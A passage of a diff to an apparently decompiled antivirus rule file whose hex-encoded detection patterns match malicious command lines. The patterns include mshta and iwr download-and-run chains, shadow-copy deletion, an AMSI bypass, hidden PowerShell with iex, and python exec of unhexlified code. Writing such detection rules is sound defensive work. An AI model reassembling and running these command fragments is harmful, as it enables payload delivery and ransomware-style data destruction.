61 00 72 00 74 00 20 00 05 00 08 00 68 00 74 00 74 00 70 } //21283 + $a_00_3 = {6c 00 6c 00 33 00 32 00 01 00 08 00 2e 00 62 00 61 00 74 00 01 00 0c 00 20 00 50 00 4f 00 53 00 54 00 20 00 01 00 08 00 54 00 65 00 6d 00 70 00 01 00 0e 00 61 00 70 00 70 00 64 00 61 00 74 00 61 00 00 00 d7 aa 00 00 02 00 02 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 6d 73 } //110 + $a_70_4 = {7a 7a 2e 41 21 4d 54 42 00 01 00 5c 00 52 00 65 00 66 00 5d 00 2e 00 41 00 73 00 73 00 65 00 6d 00 62 00 6c 00 79 00 2e 00 47 00 65 00 74 00 54 00 79 00 70 00 65 00 73 00 28 00 29 00 20 00 7c 00 20 00 25 00 7b 00 69 00 66 00 20 00 28 00 24 00 5f 00 2e 00 4e 00 61 00 6d 00 65 00 20 00 2d 00 6c 00 69 00 6b 00 65 00 01 00 1a 00 24 00 5f 00 2e 00 47 00 65 00 74 00 } //17001 + $a_00_5 = {65 00 6c 00 64 00 73 00 28 00 00 00 d7 aa 00 00 03 00 03 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 45 45 44 21 4d 54 42 00 01 00 10 00 69 00 77 00 72 00 20 00 68 00 74 00 74 00 70 00 01 00 34 02 2d 00 66 00 69 00 6c 00 65 00 70 00 61 00 74 00 68 00 90 02 10 24 00 } //70 + $a_00_6 = {76 00 3a 00 74 00 65 00 6d 00 70 00 90 02 20 2e 00 68 00 74 00 61 00 90 00 01 00 2e 00 53 00 74 00 61 00 72 00 74 00 2d 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 20 00 6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 00 00 d7 aa 00 00 0a 00 0a 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 46 69 6c 65 } //101 + $a_65_7 = {2e 52 48 21 4d 54 42 00 02 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 02 00 1a 00 47 00 65 00 74 00 2d 00 57 00 6d 00 69 00 4f 00 62 00 6a 00 65 00 63 00 74 00 04 00 20 00 57 00 69 00 6e 00 33 00 32 00 5f 00 53 00 68 00 61 00 64 00 6f 00 77 00 63 00 6f 00 70 00 79 00 02 00 } //28515 + $a_00_8 = {65 00 6d 00 6f 00 76 00 65 00 2d 00 57 00 6d 00 69 00 4f 00 62 00 6a 00 65 00 63 00 74 00 00 00 d7 aa 00 00 82 00 82 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 43 46 21 4d 54 42 00 64 00 14 00 } //32 + condition: + ((#a_46_0 & 1)*21283+(#a_00_3 & 1)*110+(#a_70_4 & 1)*17001+(#a_00_5 & 1)*70+(#a_00_6 & 1)*101+(#a_65_7 & 1)*28515+(#a_00_8 & 1)*32) >=208 + +} +rule _InfrastructureShared_27877{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 6d 73 69 42 79 70 61 7a 7a 2e 41 21 4d 54 42 00 01 00 5c 00 52 00 65 00 66 00 5d 00 2e 00 41 00 73 00 73 00 65 00 6d 00 62 00 6c 00 79 00 2e 00 47 00 65 00 74 00 54 00 79 00 70 00 65 00 } //21283 + $a_00_1 = {29 00 20 00 7c 00 20 00 25 00 7b 00 69 00 66 00 20 00 28 00 24 00 5f 00 2e 00 4e 00 61 00 6d 00 65 00 20 00 2d 00 6c 00 } //115 ) | %{if ($_.Name -l + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*115) >=2 + +} +rule _InfrastructureShared_27878{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 45 45 44 21 4d 54 42 00 01 00 10 00 69 00 77 00 72 00 20 00 68 00 74 00 74 00 70 00 01 00 34 02 2d 00 66 00 69 00 6c 00 65 00 70 00 61 00 74 00 68 00 90 02 10 24 } //21283 + $a_00_2 = {74 00 65 00 6d 00 70 00 90 02 20 2e 00 68 00 74 00 61 00 90 00 01 00 2e 00 53 00 74 00 61 00 72 00 74 00 2d 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 20 00 6d 00 73 00 68 } //118 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*118) >=3 + +} +rule _InfrastructureShared_27879{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 46 69 6c 65 63 6f 64 65 72 2e 52 48 21 4d 54 42 00 02 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 02 00 1a 00 47 00 65 00 74 00 2d 00 57 00 6d 00 69 00 4f 00 62 00 } //21283 + $a_00_1 = {63 00 74 00 04 00 20 00 57 00 69 00 6e 00 33 00 32 00 5f 00 53 00 68 00 61 00 64 00 6f 00 77 00 63 00 6f 00 70 00 79 00 02 00 20 00 52 00 65 00 6d 00 6f 00 76 00 65 00 2d 00 57 00 6d 00 69 00 4f 00 62 00 6a 00 65 00 63 00 74 00 00 00 d7 aa 00 00 82 00 82 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a } //106 + $a_33_2 = {2f 43 6c 69 63 6b 46 69 78 2e 44 43 46 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 28 00 67 00 73 00 76 00 20 00 7c 00 20 00 3f 00 20 00 7b 00 24 00 5f 00 2e 00 4e 00 61 00 6d 00 65 00 20 00 2d 00 65 00 71 00 0a 00 1c 00 6c 00 61 00 62 00 65 00 6c 00 5e 00 7c 00 66 00 69 00 6e 00 } //26967 + $a_00_3 = {74 00 72 00 0a 00 16 00 73 00 61 00 70 00 73 00 20 00 63 00 6d 00 64 00 20 00 2d 00 61 00 00 00 d7 ab 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 65 61 74 4e 69 6b 2e 46 21 64 68 61 00 01 00 1c 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 01 00 24 00 2e 00 6d 00 } //100 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*106+(#a_33_2 & 1)*26967+(#a_00_3 & 1)*100) >=10 + +} +rule _InfrastructureShared_27880{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,ffffff82 00 ffffff82 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 43 46 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 28 00 67 00 73 00 76 00 20 00 7c 00 20 00 3f 00 20 00 7b 00 } //21283 + $a_00_1 = {2e 00 4e 00 61 00 6d 00 65 00 20 00 2d 00 65 00 71 00 0a 00 1c 00 6c 00 61 00 62 00 65 00 6c 00 5e 00 7c 00 66 00 69 00 6e 00 64 00 73 00 74 00 72 00 0a 00 16 00 73 00 61 00 70 00 73 00 20 00 63 00 6d 00 64 00 20 00 2d 00 61 00 00 00 d7 ab 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 54 } //36 + $a_61_2 = {3a 57 69 6e 33 32 2f 42 65 61 74 4e 69 6b 2e 46 21 64 68 61 00 01 00 1c 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 01 00 24 00 2e 00 6d 00 79 00 70 00 72 00 65 00 73 00 73 00 6f 00 6e 00 6c 00 69 00 6e 00 65 00 2e 00 63 00 6f 00 6d 00 01 00 10 00 2e 00 52 00 65 00 70 00 6c } //28530 场湩㈳䈯慥乴歩䘮搡慨Āᰀ瀀漀眀攀爀猀栀攀氀氀⸀攀砀攀Ā␀⸀洀礀瀀爀攀猀猀漀渀氀椀渀攀⸀挀漀洀Āက⸀刀攀瀀氀 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*36+(#a_61_2 & 1)*28530) >=130 + +} +rule _InfrastructureShared_27881{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " @@ -344255,7 +364513,7 @@ rule _InfrastructureShared_26317{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*110+(#a_65_3 & 1)*24914) >=4 } -rule _InfrastructureShared_26318{ +rule _InfrastructureShared_27882{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -344265,56 +364523,44 @@ rule _InfrastructureShared_26318{ ((#a_46_0 & 1)*21283) >=10 } -rule _InfrastructureShared_26319{ +rule _InfrastructureShared_27883{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,73 00 73 00 07 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 53 44 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 05 00 08 00 68 00 74 00 74 00 70 00 05 00 08 00 20 00 69 00 65 00 78 00 05 00 06 } //21283 $a_00_2 = {06 00 69 00 72 } //114 - $a_00_5 = {6f 00 6b 00 65 00 2d 00 65 00 78 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 9c ff 16 00 6d 00 73 00 69 00 65 00 78 00 65 00 63 00 2e 00 65 00 78 00 65 00 00 00 d7 ac 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 57 69 6e 33 32 2f 50 79 74 68 6f 6e 4f 6e 65 6c 69 6e 65 2e 43 00 01 00 1e 00 69 00 6d 00 70 00 6f 00 72 00 74 00 20 00 62 00 69 00 6e 00 } //110 - $a_00_6 = {63 00 69 00 69 00 01 00 3c 00 65 00 78 00 65 00 63 00 28 00 62 00 69 00 6e 00 61 00 73 00 63 00 69 00 69 00 2e 00 75 00 6e 00 68 00 65 00 78 00 6c 00 69 00 66 00 79 00 28 00 62 00 79 00 74 00 65 00 73 00 28 00 01 00 0a 00 55 00 54 00 46 00 2d 00 38 00 01 00 14 00 29 00 2e 00 64 00 65 00 63 00 6f 00 64 00 65 00 28 00 29 00 00 00 d7 ac 00 00 82 } //97 + $a_00_5 = {6f 00 6b 00 65 00 2d 00 65 00 78 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 38 ff 16 00 6d 00 73 00 69 00 65 00 78 00 65 00 63 00 2e 00 65 00 78 00 65 00 00 00 d7 ab 00 00 c9 00 c9 00 08 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 4d 58 21 4d 54 42 00 01 00 0e 00 69 00 27 00 27 00 77 00 27 00 27 00 72 } //110 condition: - ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*114+(#a_00_5 & 1)*110+(#a_00_6 & 1)*97) >=115 + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*114+(#a_00_5 & 1)*110) >=115 } -rule _InfrastructureShared_26320{ +rule _InfrastructureShared_27884{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,ffffffc9 00 ffffffc9 00 08 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 4d 58 21 4d 54 42 00 01 00 0e 00 69 00 27 00 27 00 77 00 27 00 27 00 72 00 01 00 0e 00 69 00 27 00 27 00 65 00 27 00 27 00 78 00 01 00 0a 00 69 00 27 00 27 00 65 } //21283 + $a_00_3 = {27 00 78 00 01 00 0a 00 69 00 77 00 27 00 27 00 72 00 01 00 0a 00 69 00 27 00 27 00 77 00 72 00 64 00 14 00 70 00 6f } //101 + $a_00_5 = {68 00 65 00 6c 00 6c 00 64 00 08 00 68 00 74 00 74 00 70 00 00 00 d7 ac 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 57 69 6e 33 32 2f 50 79 74 68 6f 6e 4f 6e 65 6c 69 6e 65 2e 43 00 01 00 1e 00 69 00 6d 00 70 00 6f 00 72 00 74 00 20 00 62 00 69 00 6e 00 61 00 73 00 63 00 69 00 69 00 01 00 3c 00 65 00 78 00 65 00 63 00 28 00 62 00 69 00 6e 00 61 } //114 + $a_00_7 = {2e 00 75 00 6e 00 68 00 65 00 78 00 6c 00 69 00 66 00 79 00 28 00 62 00 79 00 74 00 65 00 73 00 28 00 01 00 0a 00 55 00 54 00 46 00 2d 00 38 00 01 00 14 00 29 00 2e 00 64 00 65 00 63 00 6f 00 64 00 65 00 28 00 29 00 00 00 d7 ad 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f } //105 + condition: + ((#a_46_0 & 1)*21283+(#a_00_3 & 1)*101+(#a_00_5 & 1)*114+(#a_00_7 & 1)*105) >=201 + +} +rule _InfrastructureShared_27885{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_4c_0 = {57 69 6e 33 32 2f 50 79 74 68 6f 6e 4f 6e 65 6c 69 6e 65 2e 43 00 01 00 1e 00 69 00 6d 00 70 00 6f 00 72 00 74 00 20 00 62 00 69 00 6e 00 61 00 73 00 63 00 69 00 69 00 01 00 3c 00 65 00 78 00 65 00 63 00 28 } //21539 - $a_00_2 = {73 00 63 00 69 00 69 00 2e 00 75 00 6e 00 68 00 65 00 78 00 6c 00 69 00 66 00 79 00 28 00 62 00 79 00 74 00 65 00 73 00 28 00 01 00 0a 00 55 00 54 00 46 00 2d 00 38 00 01 00 14 00 29 00 2e 00 64 00 65 00 63 00 6f 00 64 00 65 00 28 00 29 00 00 00 d7 ac 00 00 82 00 82 00 07 00 21 23 53 4c 46 } //110 - $a_6f_3 = {61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 53 44 41 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 08 00 68 00 74 00 74 00 70 00 0a 00 08 00 20 00 69 00 65 00 78 00 0a 00 06 00 69 00 77 00 72 00 0a 00 06 00 69 00 72 00 6d 00 0a 00 22 00 69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 65 00 78 00 70 00 } //21562 + $a_00_2 = {73 00 63 00 69 00 69 00 2e 00 75 00 6e 00 68 00 65 00 78 00 6c 00 69 00 66 00 79 00 28 00 62 00 79 00 74 00 65 00 73 00 28 00 01 00 0a 00 55 00 54 00 46 00 2d 00 38 00 01 00 14 00 29 00 2e 00 64 00 65 00 63 00 6f 00 64 00 65 00 28 00 29 00 00 00 d7 ad 00 00 02 00 02 00 02 00 21 23 54 45 4c } //110 + $a_63_3 = {64 6f 6f 72 3a 57 69 6e 33 32 2f 50 65 72 43 68 6f 70 2e 41 21 64 68 61 00 01 00 16 01 5c 00 6d 00 73 00 74 00 63 00 70 00 65 00 2e 00 65 00 78 00 65 00 01 00 64 01 43 00 3a 00 5c 00 69 00 6e 00 65 00 74 00 70 00 75 00 62 00 5c 00 77 00 77 00 77 00 72 00 6f 00 6f 00 74 00 5c 00 43 00 52 00 } //16954 condition: - ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*110+(#a_6f_3 & 1)*21562) >=4 + ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*110+(#a_63_3 & 1)*16954) >=4 } -rule _InfrastructureShared_26321{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,ffffff82 00 ffffff82 00 07 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 53 44 41 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 08 00 68 00 74 00 74 00 70 00 0a 00 08 00 20 00 69 00 65 00 78 00 0a 00 } //21283 - $a_00_1 = {77 00 72 00 0a 00 06 00 69 00 72 00 6d 00 0a 00 22 00 69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 65 00 78 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 0c fe 16 00 6d 00 73 00 69 00 65 00 78 00 65 00 63 00 2e 00 65 00 78 00 65 00 00 00 d7 ad 00 00 01 00 01 00 01 00 21 23 53 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a } //6 - $a_69_2 = {74 2f 52 6f 67 75 65 53 70 79 2e 45 21 64 68 61 00 01 00 7c 00 76 00 7a 00 35 00 6d 00 68 00 65 00 37 00 6a 00 6d 00 6a 00 74 00 37 00 72 00 67 00 69 00 71 00 37 00 75 00 68 00 67 00 6d 00 65 00 6d 00 74 00 73 00 7a 00 66 00 65 00 68 00 6c 00 6d 00 6a 00 68 00 68 00 63 00 75 00 65 00 35 00 7a 00 7a 00 33 00 6f 00 6e 00 68 00 74 00 6c 00 76 } //25427 ⽴潒畧卥祰䔮搡慨Ā簀瘀稀㔀洀栀攀㜀樀洀樀琀㜀爀最椀焀㜀甀栀最洀攀洀琀猀稀昀攀栀氀洀樀栀栀挀甀攀㔀稀稀㌀漀渀栀琀氀瘀 - $a_00_4 = {68 00 77 00 76 00 69 00 64 00 2e 00 6f 00 6e 00 69 00 6f 00 6e 00 00 00 d7 ad 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 50 65 72 43 68 6f 70 2e 41 21 64 68 61 00 01 00 16 01 5c 00 6d 00 73 00 74 00 63 00 70 00 65 00 2e 00 65 00 78 00 65 00 01 00 64 01 43 00 3a 00 5c 00 69 00 6e } //102 - $a_00_6 = {62 00 5c 00 77 00 77 00 77 00 72 00 6f 00 6f 00 74 00 5c 00 43 00 52 00 41 00 5f 00 4e 00 6f 00 5f 00 57 00 43 00 46 00 5f 00 56 00 30 00 31 00 5c 00 50 00 65 00 72 00 73 00 6f 00 6e 00 61 00 49 00 6e 00 66 00 6f 00 2e 00 61 00 73 00 6d 00 78 00 00 00 d7 ad 00 00 05 00 05 00 05 00 21 23 54 45 4c 3a 41 76 65 74 53 4d 53 54 72 69 67 67 65 72 2e 41 00 } //112 - condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*6+(#a_69_2 & 1)*25427+(#a_00_4 & 1)*102+(#a_00_6 & 1)*112) >=130 - -} -rule _InfrastructureShared_26322{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " - - strings : - $a_46_0 = {42 61 63 6b 64 6f 6f 72 3a 53 63 72 69 70 74 2f 52 6f 67 75 65 53 70 79 2e 45 21 64 68 61 00 01 00 7c 00 76 00 7a 00 35 00 6d 00 68 00 65 00 37 00 6a 00 6d 00 6a 00 74 00 37 00 72 00 67 00 69 00 71 00 37 00 75 00 68 00 67 00 6d } //21283 慂正潤牯区牣灩⽴潒畧卥祰䔮搡慨Ā簀瘀稀㔀洀栀攀㜀樀洀樀琀㜀爀最椀焀㜀甀栀最洀 - condition: - ((#a_46_0 & 1)*21283) >=1 - -} -rule _InfrastructureShared_26323{ +rule _InfrastructureShared_27886{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " @@ -344325,7 +364571,7 @@ rule _InfrastructureShared_26323{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*101) >=2 } -rule _InfrastructureShared_26324{ +rule _InfrastructureShared_27887{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 05 00 21 " @@ -344338,7 +364584,7 @@ rule _InfrastructureShared_26324{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*101+(#a_41_2 & 1)*21577+(#a_00_4 & 1)*111) >=5 } -rule _InfrastructureShared_26325{ +rule _InfrastructureShared_27888{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 03 00 21 " @@ -344350,7 +364596,7 @@ rule _InfrastructureShared_26325{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*97+(#a_2f_2 & 1)*13166) >=10 } -rule _InfrastructureShared_26326{ +rule _InfrastructureShared_27889{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0c 00 0c 00 07 00 21 " @@ -344358,43 +364604,40 @@ rule _InfrastructureShared_26326{ $a_46_0 = {45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 52 75 6c 65 72 2e 46 6f 72 6d 00 0a 00 10 00 66 00 6f 00 72 00 6d 00 20 00 61 00 64 00 64 00 0a 00 12 00 66 00 6f 00 72 00 6d 00 20 00 73 00 65 00 6e 00 64 00 01 00 10 00 2d 00 2d 00 74 } //21283 $a_00_2 = {74 00 01 00 10 00 2d 00 2d 00 73 00 75 00 66 00 66 00 69 00 78 00 01 00 0e 00 2d 00 2d 00 65 00 6d 00 61 00 69 00 6c 00 01 00 0e 00 2d 00 2d 00 74 00 6f 00 6b 00 65 00 6e 00 01 00 0c 00 2d 00 2d 00 6f 00 33 00 36 00 35 00 00 00 d7 ae 00 00 58 04 58 04 06 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 } //103 $a_2f_3 = {75 72 6c 53 75 73 70 44 6f 77 6e 2e 53 42 00 e8 03 08 00 63 00 75 00 72 00 6c 00 64 00 08 00 20 00 2d 00 6f 00 20 00 64 00 12 00 2d 00 2d 00 6f 00 75 } //13166 - $a_00_5 = {20 00 0a 00 2b 02 3a 00 5c 00 75 00 73 00 65 00 72 00 73 00 5c 00 70 00 75 00 62 00 6c 00 69 00 63 00 5c 00 90 02 50 2e 00 65 00 78 00 65 00 90 00 01 00 0e 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 01 00 10 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 00 00 d7 af 00 00 01 00 01 00 07 00 21 23 43 4d 44 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 } //117 - $a_72_6 = {70 73 43 6f 6d 6d 6f 6e 50 61 74 68 00 01 00 10 00 5c 00 61 00 70 00 70 00 64 00 61 00 74 00 61 00 01 00 12 00 5c 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 01 00 0e 00 5c 00 63 00 68 00 72 00 6f 00 6d 00 65 00 01 00 0e 00 5c 00 67 00 6f 00 6f } //12082 + $a_00_5 = {20 00 0a 00 2b 02 3a 00 5c 00 75 00 73 00 65 00 72 00 73 00 5c 00 70 00 75 00 62 00 6c 00 69 00 63 00 5c 00 90 02 50 2e 00 65 00 78 00 65 00 90 00 01 00 0e 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 01 00 10 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 00 00 d7 ae 00 00 6f 00 6f 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 } //117 + $a_6c_6 = {63 6b 46 69 78 2e 44 43 4f 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 3a 00 5b 00 64 00 61 00 74 00 65 00 74 00 69 00 6d 00 65 00 5d 00 3a 00 3a 00 55 } //12082 condition: - ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*103+(#a_2f_3 & 1)*13166+(#a_00_5 & 1)*117+(#a_72_6 & 1)*12082) >=12 + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*103+(#a_2f_3 & 1)*13166+(#a_00_5 & 1)*117+(#a_6c_6 & 1)*12082) >=12 } -rule _InfrastructureShared_26327{ +rule _InfrastructureShared_27890{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,58 04 58 04 06 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 75 72 6c 53 75 73 70 44 6f 77 6e 2e 53 42 00 e8 03 08 00 63 00 75 00 72 00 6c 00 64 00 08 00 20 00 2d 00 6f 00 20 00 64 00 12 00 2d 00 2d 00 6f 00 75 00 74 00 70 00 75 00 74 00 20 00 0a } //21283 $a_3a_1 = {5c 00 } //11008 \ - $a_00_2 = {65 00 72 00 73 00 5c 00 70 00 75 00 62 00 6c 00 69 00 63 00 5c 00 90 02 50 2e 00 65 00 78 00 65 00 90 00 01 00 0e 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 01 00 10 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 00 00 d7 af 00 00 01 00 01 00 07 00 21 23 43 4d 44 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 54 72 61 70 73 43 6f 6d 6d 6f 6e } //117 - $a_68_3 = {01 00 10 00 5c 00 61 00 70 00 70 00 64 00 61 00 74 00 61 00 01 00 12 00 5c 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 01 00 0e 00 5c 00 63 00 68 00 72 00 6f 00 6d 00 65 00 01 00 0e 00 5c 00 67 00 6f 00 6f 00 67 00 6c 00 65 00 01 00 0c 00 5c 00 61 00 64 00 6f 00 62 00 65 00 01 00 0e 00 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 01 00 10 00 } //24912 - $a_00_4 = {74 00 6c 00 6f 00 6f 00 6b 00 5c 00 00 00 d7 af 00 00 06 00 06 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 4d 48 21 4d 54 42 00 01 00 26 00 50 00 6f 00 77 00 65 00 72 00 53 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 20 00 2d 00 77 00 20 00 68 00 02 00 14 00 3d 00 27 00 68 00 74 00 74 00 70 00 } //111 - $a_00_5 = {2f 00 2f 00 01 00 0a 00 3b 00 69 00 65 00 78 00 28 00 01 00 1e 00 55 00 73 00 65 00 42 00 61 00 73 00 69 00 63 00 50 00 61 00 72 00 73 00 69 00 6e 00 67 00 01 00 0e 00 43 00 } //115 + $a_00_2 = {65 00 72 00 73 00 5c 00 70 00 75 00 62 00 6c 00 69 00 63 00 5c 00 90 02 50 2e 00 65 00 78 00 65 00 90 00 01 00 0e 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 01 00 10 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 00 00 d7 ae 00 00 6f 00 6f 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 43 } //117 + $a_54_3 = {00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 3a 00 5b 00 64 00 61 00 74 00 65 00 74 00 69 00 6d 00 65 00 5d 00 3a 00 3a 00 55 00 74 00 63 00 4e 00 6f 00 77 00 2d 00 5b 00 64 00 61 00 74 00 65 00 } //8527 + $a_00_4 = {6d 00 65 00 5d 00 01 00 28 00 29 00 2e 00 54 00 6f 00 74 00 61 00 6c 00 53 00 65 00 63 00 6f 00 6e 00 64 00 73 00 29 00 2d 00 62 00 61 00 6e 00 64 00 00 00 d7 af 00 00 06 00 06 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 4d 48 21 4d 54 42 00 01 00 26 00 50 00 6f 00 } //116 + $a_00_5 = {72 00 53 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 20 00 2d 00 77 00 20 00 68 00 02 00 14 00 3d 00 27 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 01 00 0a 00 3b 00 69 00 65 00 78 00 28 00 01 00 1e 00 55 00 73 00 65 00 42 00 61 00 73 00 69 00 63 00 50 00 61 00 72 00 73 00 69 00 6e 00 67 } //119 condition: - ((#a_46_0 & 1)*21283+(#a_3a_1 & 1)*11008+(#a_00_2 & 1)*117+(#a_68_3 & 1)*24912+(#a_00_4 & 1)*111+(#a_00_5 & 1)*115) >=1112 + ((#a_46_0 & 1)*21283+(#a_3a_1 & 1)*11008+(#a_00_2 & 1)*117+(#a_54_3 & 1)*8527+(#a_00_4 & 1)*116+(#a_00_5 & 1)*119) >=1112 } -rule _InfrastructureShared_26328{ +rule _InfrastructureShared_27891{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 07 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,6f 00 6f 00 03 00 21 " strings : - $a_44_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 